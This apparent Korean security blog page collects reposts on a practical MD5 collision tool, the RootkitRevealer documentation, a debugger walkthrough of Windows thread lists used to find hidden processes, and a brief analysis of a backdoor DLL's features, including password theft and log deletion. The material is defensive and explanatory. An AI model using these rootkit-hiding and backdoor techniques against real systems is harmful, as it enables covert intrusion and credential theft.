그러나 앞으로는 이런 분위기가 조금 바뀔 것 같습니다. 임의의 파일에 대해 동일한 MD5SUM 을 가지는 파일을 만들어주는 실용적인 도구가 발표되었기 때문입니다.

Peter Selinger 라는 수학교수가 MD5 알고리즘의 취약점에 대한 이해를 돕기 위한 목적으로 간단한 도구를만들어,MD5 보안홈페이지를 공개했습니다. 참고 자료도 충실히 제공하고 있고, 취약점에 대한 상세한 설명도 잊지 않고 있네요.

Peter Selinger 의 홈페이지 : http://www.mscs.dal.ca/~selinger/md5collision/

다음 그림은 이 도구를 활용해 정상 파일의 MD5sum 을 갖도록 조작된 프로그램 사용 예제입니다.

예제에서 보듯이 정상 파일인 hello.exe와 악성 파일인 erase.exe 는 MD5sum 이 같기 때문에 악의적인 해커에 의해변조된 사실을 파악하기 어렵습니다.

아직도 많은 오픈소스 사이트가 소프트웨어를 릴리즈 하면서 MD5SUM 을 이용해 위변조 여부를 점검하도록 하고 있는데, 앞으로는 보다 안전한 알고리즘으로 대체될 필요가 있을 듯...

물론 보안 업체들의 서버 보안 권고 사항도 MD5Sum 이 아닌, 다른 도구를 사용하도록 바뀌어야 겠지요?

SHA-1 역시 보안 취약점이 공개되었으나, 아직은 실용적인 수준의 공격이 불가능한 것으로 알려져 있습니다.
실용적인 것을 선호하신다면 당분간 SHA1Sum 을 사용하되, 보안에 민감한 곳이라면 RIPEMD160Sum 을 사용하시는 것이 좋을 듯 하네요.
Trackback 0 : Comment 0

Write a comment


RootkitRevealer v1.71

ⓤ System 2007.11.11 18:53

출처 : http://www.microsoft.com/technet/sysinternals/utilities/RootkitRevealer.mspx

RootkitRevealer v1.71

By Bryce Cogswell and Mark Russinovich

Published: November 1, 2006

Introduction

RootkitRevealer is an advanced rootkit detection utility. It runs on Windows NT 4 and higher and its output lists Registry and file system API discrepancies that may indicate the presence of a user-mode or kernel-mode rootkit. RootkitRevealer successfully detects all persistent rootkits published at www.rootkit.com, including AFX, Vanquish and HackerDefender (note: RootkitRevealer is not intended to detect rootkits like Fu that don't attempt to hide their files or registry keys). If you use it to identify the presence of a rootkit please let us know!

The reason that there is no longer a command-line version is that malware authors have started targetting RootkitRevealer's scan by using its executable name. We've therefore updated RootkitRevealer to execute its scan from a randomly named copy of itself that runs as a Windows service. This type of execution is not conducive to a command-line interface. Note that you can use command-line options to execute an automatic scan with results logged to a file, which is the equivalent of the command-line version's behavior.

What is a Rootkit

The term rootkit is used to describe the mechanisms and techniques whereby malware, including viruses, spyware, and trojans, attempt to hide their presence from spyware blockers, antivirus, and system management utilities. There are several rootkit classifications depending on whether the malware survives reboot and whether it executes in user mode or kernel mode.

Persistent Rootkits
A persistent rootkit is one associated with malware that activates each time the system boots. Because such malware contain code that must be executed automatically each system start or when a user logs in, they must store code in a persistent store, such as the Registry or file system, and configure a method by which the code executes without user intervention.

Memory-Based Rootkits
Memory-based rootkits are malware that has no persistent code and therefore does not survive a reboot.

User-mode Rootkits
There are many methods by which rootkits attempt to evade detection. For example, a user-mode rootkit might intercept all calls to the Windows FindFirstFile/FindNextFile APIs, which are used by file system exploration utilities, including Explorer and the command prompt, to enumerate the contents of file system directories. When an application performs a directory listing that would otherwise return results that contain entries identifying the files associated with the rootkit, the rootkit intercepts and modifies the output to remove the entries.

The Windows native API serves as the interface between user-mode clients and kernel-mode services and more sophisticated user-mode rootkits intercept file system, Registry, and process enumeration functions of the Native API. This prevents their detection by scanners that compare the results of a Windows API enumeration with that returned by a native API enumeration.

Kernel-mode Rootkits
Kernel-mode rootkits can be even more powerful since, not only can they intercept the native API in kernel-mode, but they can also directly manipulate kernel-mode data structures. A common technique for hiding the presence of a malware process is to remove the process from the kernel's list of active processes. Since process management APIs rely on the contents of the list, the malware process will not display in process management tools like Task Manager or Process Explorer.

How RootkitRevealer Works

Since persistent rootkits work by changing API results so that a system view using APIs differs from the actual view in storage, RootkitRevealer compares the results of a system scan at the highest level with that at the lowest level. The highest level is the Windows API and the lowest level is the raw contents of a file system volume or Registry hive (a hive file is the Registry's on-disk storage format). Thus, rootkits, whether user mode or kernel mode, that manipulate the Windows API or native API to remove their presence from a directory listing, for example, will be seen by RootkitRevealer as a discrepancy between the information returned by the Windows API and that seen in the raw scan of a FAT or NTFS volume's file system structures.

Can a Rootkit hide from RootkitRevealer
It is theoretically possible for a rootkit to hide from RootkitRevealer. Doing so would require intercepting RootkitRevealer's reads of Registry hive data or file system data and changing the contents of the data such that the rootkit's Registry data or files are not present. However, this would require a level of sophistication not seen in rootkits to date. Changes to the data would require both an intimate knowledge of the NTFS, FAT and Registry hive formats, plus the ability to change data structures such that they hide the rootkit, but do not cause inconsistent or invalid structures or side-effect discrepancies that would be flagged by RootkitRevealer.

Is there a sure-fire way to know of a rootkit's presence
In general, not from within a running system. A kernel-mode rootkit can control any aspect of a system's behavior so information returned by any API, including the raw reads of Registry hive and file system data performed by RootkitRevealer, can be compromised. While comparing an on-line scan of a system and an off-line scan from a secure environment such as a boot into an CD-based operating system installation is more reliable, rootkits can target such tools to evade detection by even them.

The bottom line is that there will never be a universal rootkit scanner, but the most powerful scanners will be on-line/off-line comparison scanners that integrate with antivirus.

Using RootkitRevealer

RootkitRevealer requires that the account from which its run has assigned to it the Backup files and directories, Load drivers and Perform volume maintenance tasks (on Windows XP and higher) privileges. The Administrators group is assigned these privileges by default. In order to minimize false positives run RootkitRevealer on an idle system.

For best results exit all applications and keep the system otherwise idle during the RootkitRevealer scanning process.

If you have questions or problems please visit the Sysinternals RootkitRevealer Forum.

Manual Scanning

To scan a system launch it on the system and press the Scan button. RootkitRevealer scans the system reporting its actions in a status area at the bottom of its window and noting discrepancies in the output list. The options you can configure:

Hide NTFS Metadata Files: this option is on by default and has RootkitRevealer not show standard NTFS metadata files, which are hidden from the Windows API.

Scan Registry: this option is on by default. Deselecting it has RootkitRevealer not perform a Registry scan.

Launching an Automatic Scan

RootkitRevealer supports several options for auto-scanning systems:

usage: rootkitrevealer [-a [-c] [-m] [-r] outputfile]

-a

Automatically scan and exit when done.

-c

Format output as CSV

-m

Show NTFS metadata files

-r

Don't scan the Registry.

Note that the file output location must be on a local volume.

If you specify the -c option it does not report progress and discrepancies are printed in CSV format for easy import into a database. You can perform scans of remote systems by executing it with the Sysinternals PsExec utility using a command-line like the following:

psexec \remote -c rootkitrevealer.exe -a c:windowssystem32rootkit.log

Interpreting the Output

This is a screenshot of RootkitRevealer detecting the presence of the popular HackerDefender rootkit. The Registry key discrepancies show that the Registry keys storing HackerDefender's device driver and service settings are not visible to the Windows API, but are present in the raw scan of the Registry hive data. Similarly, the HackerDefender-associated files are not visible to Windows API directory scans, but are present in the scan of the raw file system data.

You should examine all discrepancies and determine the likelihood that they indicate the presence of a rootkit. Unfortunately, there is no definitive way to determine, based on the output, if a rootkit is present, but you should examine all reported discrepancies to ensure that they are explainable. If you determine that you have a rootkit installed, search the web for removal instructions. If you are unsure as to how to remove a rootkit you should reformat the system's hard disk and reinstall Windows.

In addition to the information below on possible RootkitRevealer discrepancies, the RootkitRevealer Forum at Sysinternals discusses detected rootkits and specific false-positives.

Hidden from Windows API.

These discrepancies are the ones exhibited by most rootkits, however, if you haven't checked the Hide NTFS metadata files you should expect to see a number of such entries on any NTFS volume since NTFS hides its metada files, such as $MFT and $Secure, from the Windows API. The metadata files present on NTFS volumes varies by version of NTFS and the NTFS features that have been enabled on the volume. There are also antivirus products, such as Kaspersky Antivirus, that use rootkit techniques to hide data they store in NTFS alternate data streams. If you are running such a virus scanner you'll see a Hidden from Windows API discrepancy for an alternate data stream on every NTFS file. RootkitRevealer does not support output filters because rootkits can take advantage of any filtering. Finally, if a file is deleted during a scan you may also see this discrepancy.

This is a list of NTFS metadata files defined as of Windows Server 2003:

$AttrDef

$BadClus

$BadClus:$Bad

$BitMap

$Boot

$LogFile

$Mft

$MftMirr

$Secure

$UpCase

$Volume

$Extend

$Extend$Reparse

$Extend$ObjId

$Extend$UsnJrnl

$Extend$UsnJrnl:$Max

$Extend$Quota

Access is Denied.

RootkitRevealer should never report this discrepancy since it uses mechanisms that allow it to access any file, directory, or registry key on a system.

Visible in Windows API, directory index, but not in MFT.
Visible in Windows API, but not in MFT or directory index.
Visible in Windows API, MFT, but not in directory index.
Visible in directory index, but not Windows API or MFT.

A file system scan consists of three components: the Windows API, the NTFS Master File Table (MFT), and the NTFS on-disk directory index structures. These discrepancies indicate that a file appears in only one or two of the scans. A common reason is that a file is either created or deleted during the scans. This is an example of RootkitRevealer's discrepancy report for a file created during the scanning:

C:newfile.txt
3/1/2005 5:26 PM
8 bytes
Visible in Windows API, but not in MFT or directory index.

Windows API length not consistent with raw hive data.

Rootkits can attempt to hide themselves by misrepresenting the size of a Registry value so that its contents aren't visible to the Windows API. You should examine any such discrepancy, though it may also appear as a result of Registry values that change during a scan.

Type mismatch between Windows API and raw hive data.

Registry values have a type, such as DWORD and REG_SZ, and this discrepancy notes that the type of a value as reported through the Windows API differs from that of the raw hive data. A rootkit can mask its data by storing it as a REG_BINARY value, for example, and making the Windows API believe it to be a REG_SZ value; if it stores a 0 at the start of the data the Windows API will not be able to access subsequent data.

Key name contains embedded nulls.

The Windows API treats key names as null-terminated strings whereas the kernel treats them as counted strings. Thus, it is possible to create Registry keys that are visible to the operating system, yet only partially visible to Registry tools like Regedit. The Reghide sample code at Sysinternals demonstrates this technique, which is used by both malware and rootkits to hide Registry data. Use the Sysinternals Regdellnull utility to delete keys with embedded nulls.

Data mismatch between Windows API and raw hive data.

This discrepancy will occur if a Registry value is updated while the Registry scan is in progress. Values that change frequently include timestamps such as the Microsoft SQL Server uptime value, shown below, and virus scanner "last scan" values. You should investigate any reported value to ensure that its a valid application or system Registry value.

HKLMSOFTWAREMicrosoftMicrosoft SQL ServerRECOVERYMANAGERMSSQLServeruptime_time_utc
3/1/2005 4:33 PM
8 bytes

Rootkit Resources

The following Web sites and books are sources of more information on rootkits:

TechNet On-Demand Webcast: Advanced Malware Cleaning
Learn from Mark how to use the Sysinternals tools to identify malware infestations, from standard spyware to kernel-mode rootkits, and clean them off your systems.

Understanding Malware: Viruses, Spyware and Rootkits
Mark's Microsoft TechEd 2005 webinar covers viruses, spyware, and rootkits.

Sony, Rootkits and Digital Rights Management Gone Too Far
Read Mark's blog entry on his discovery and analysis of a Sony rootkit on one of his computers.

Unearthing Rootkits
Mark's June Windows IT Pro Magazine article provides an overview of rootkit technologies and how RootkitRevealer works.

www.rootkit.com
This site contains sample code for a number of user-mode and kernel-mode rootkits as well as ongoing discussions on how to develop rootkits.

Rootkits: Subverting the Windows Kernel
This book by Greg Hoglund and Jamie Butler is the most comprehensive treatment of rootkits available.

www.phrack.org
This site stores the archive of Phrack, a cracker-oriented magazine where developers discuss flaws in security-related products, rootkit techniques, and other malware tricks.

research.microsoft.com/rootkit/
This is the Microsoft Research rootkit home page where Microsoft publishes papers and information on its efforts to combat rootkits.

The Art of Computer Virus Research and Defense, by Peter Szor

Malware: Fighting Malicious Code, by Ed Skoudis and Lenny Zeltser

Windows Internals, 4th Edition, by Mark Russinovich and Dave Solomon (the book doesn't talk about rootkits, but understanding the Windows architecture is helpful to understanding rootkits).

Download RootkitRevealer (231 KB)

Trackback 0 : Comment 0

Write a comment


Windows Thread Scheduler

ⓤ System 2007.10.27 07:56

출처 : http://nerd.egloos.com/3455099

Windows Thread Scheduler

KiWaitInListHead
KiWaitOutListHead
KiDispatcherReadyListHead

Joanna가 klister에서 커널 내부의 세 개의 리스트를 통해서 프로세스를 찾는 방법을
구현하였다. klister-0.4.zip

Joanna의 가정은 존재하는 프로세스의 쓰레드는 적어도 저 리스트 가운데 있을 것이고
(실행을 위해 CPU Time을 얻기 위해서) 쓰레드를 통해서 일반적으로
PsActiveProcessLinkHead 리스트로 부터 제거하여 숨긴 프로세스를 찾고자 함이었다.
그렇지만 90210/HI-TECH라는 러시아 해커가 숨겨진 프로세스를 스케쥴링 하는 스케쥴러를
만들어 냄으로써 klister를 우회할 수 있다. 관련 문서 : phide2.doc

아래는 KiDispatcherReadyListHead 로 부터 실제 READY Thread List를 찾아가는 과정이다.

kd> dd KiDispatcherReadyListHead
8055bd00 80e7e080 80e7e080 8055bd08 8055bd08
8055bd10 8055bd10 8055bd10 8055bd18 8055bd18
8055bd20 8055bd20 8055bd20 8055bd28 8055bd28
8055bd30 8055bd30 8055bd30 ffa1c6b0 ffa1c6b0
8055bd40 80df18b8 ff9b9b88 8055bd48 8055bd48
8055bd50 8055bd50 8055bd50 8055bd58 8055bd58
8055bd60 8055bd60 8055bd60 8055bd68 8055bd68
8055bd70 8055bd70 8055bd70 8055bd78 8055bd78

kd> dd KiReadySummary
8055326c 00000181 00000000 000005b3 00000000
8055327c 00000000 0000366e 00000000 00000000

110000001 -> 0, 7, 8 번째 쓰레드 리스트에 쓰레드 존재

kd> dl 0x80e7e080
80e7e080 8055bd00 8055bd00 00003643 01000000
8055bd00 80e7e080 80e7e080 8055bd08 8055bd08
kd> dl 0xffa1c6b0
ffa1c6b0 8055bd38 8055bd38 0000365a 06001007
8055bd38 ffa1c6b0 ffa1c6b0 80df18b8 ff9b9b88
kd> dl 0x80df18b8
80df18b8 80dfde08 8055bd40 0000366d 12001008
80dfde08 80df79e8 80df18b8 0000366b 04001008
80df79e8 ff9cf080 80dfde08 00003669 06001008
ff9cf080 80d75080 80df79e8 00003669 06001008
80d75080 ff9b9b88 ff9cf080 0000366c 06001008
ff9b9b88 8055bd40 80d75080 0000366d 06001008
8055bd40 80df18b8 ff9b9b88 8055bd48 8055bd48

kd> !process 0 4
....
PROCESS 80df1ad0 SessionId: 0 Cid: 00c4 Peb: 7ffd9000 ParentCid: 05ac
DirBase: 03e98000 ObjectTable: e10cd910 HandleCount: 272.
Image: IEXPLORE.EXE

THREAD 80df1858 Cid 00c4.00c8 Teb: 7ffdf000 Win32Thread: e111b008 READY
THREAD 80dd6198 Cid 00c4.0150 Teb: 7ffde000 Win32Thread: 00000000 WAIT
THREAD ff9a7020 Cid 00c4.014c Teb: 7ffdd000 Win32Thread: 00000000 WAIT
THREAD ff9a4020 Cid 00c4.0158 Teb: 7ffdc000 Win32Thread: e11aa688 WAIT
THREAD ff9a4c38 Cid 00c4.015c Teb: 7ffdb000 Win32Thread: 00000000 WAIT
THREAD ff9a44f0 Cid 00c4.0160 Teb: 7ffda000 Win32Thread: 00000000 WAIT
THREAD ff9a3020 Cid 00c4.0164 Teb: 7ffd8000 Win32Thread: 00000000 WAIT
THREAD ff9a3c50 Cid 00c4.0168 Teb: 7ffd7000 Win32Thread: 00000000 WAIT
THREAD ff9a2d28 Cid 00c4.016c Teb: 7ffd6000 Win32Thread: e11cdb08 WAIT
THREAD ff99fd78 Cid 00c4.0180 Teb: 7ffd5000 Win32Thread: 00000000 WAIT

kd> !thread 0x80df18b8 - 0x60
THREAD 80df1858 Cid 00c4.00c8 Teb: 7ffdf000 Win32Thread: e111b008 READY
Not impersonating
DeviceMap e1b021e8
Owning Process 80df1ad0 Image: IEXPLORE.EXE
Wait Start TickCount 13933 Ticks: 1 (0:00:00:00.010)
Context Switch Count 701 LargeStack
UserTime 00:00:00.0200
KernelTime 00:00:00.0640
Win32 Start Address 0x00402451
Start Address 0x7c810867
Stack Init f94ea000 Current f94e9b2c Base f94ea000 Limit f94e4000 Call 0
Priority 8 BasePriority 8 PriorityDecrement 0 DecrementCount 16
ChildEBP RetAddr Args to Child
f94e9b34 f94e9b4c 532aaf70 00000000 806f4a5c nt!KiDispatchInterrupt+0x7f (FPO: [Uses EBP] [0,0,3])
WARNING: Frame IP not in any known module. Following frames may be wrong.
f94e9b38 532aaf70 00000000 806f4a5c 00000000 0xf94e9b4c
f94e9b4c 804dd6a0 badb0d00 00010000 00000009 0x532aaf70
f94e9b5c 00000000 00000000 e1492000 f94e9d00 nt!ExReleaseResourceLite+0x7f (FPO: [0,0,0])

Trackback 0 : Comment 0

Write a comment


dllshell 간단 분석

ⓤ System 2007.10.07 15:16

출처 : http://zizihacker.egloos.com/494890

dllshell 간단 분석

dllshell.dll 이라는 파일을 발견하고, 신기해서 잠시 내용을 확인해봤더니
흥미로운 점이 꽤 많다. 특히 다양한 기능이 존재한다는 것인데, 간략하게 아래와 같은 기능이 있다.

1. 프로세서 관련 기능 : list, kill, delete, module 관련 등
2. 유저 : list, add, delete 등
3. 네트워크 정보(netstat) : tcp connection, port 등
4. 서비스 관련 : list, start, stop, delete 등
5. 컴퓨터 종료
6. 터미널 관련 : telnet
7. 레지스트리 관련 : AutoRun list, delete
8. 디바이스 : mouse lock/unlock 등
9. 기타 : 시스템 이벤트 삭제, 파일 실행, 패스워드 추출 및 전송, 파일 타임 변경등

rundll32를 통해서 실행하면, 기존의 svchost.exe에 쓰레드를 추가 시켜서 특정 port를 open한다.
쓰레드를 죽여도, 지속적으로 추가가 되는데, 난감~!
이리저리 확인을 해보니, dllshell에 대한 모든 설정을 바꿀 수 있단다.
DIY backdoor라고 해야하나...쩝
자세한 내용은 string을 확인하면 더 많이 알 수 있을 듯...^^

dllshell.dll의 string 파일 dllshell.txt
Trackback 0 : Comment 0

Write a comment

티스토리 툴바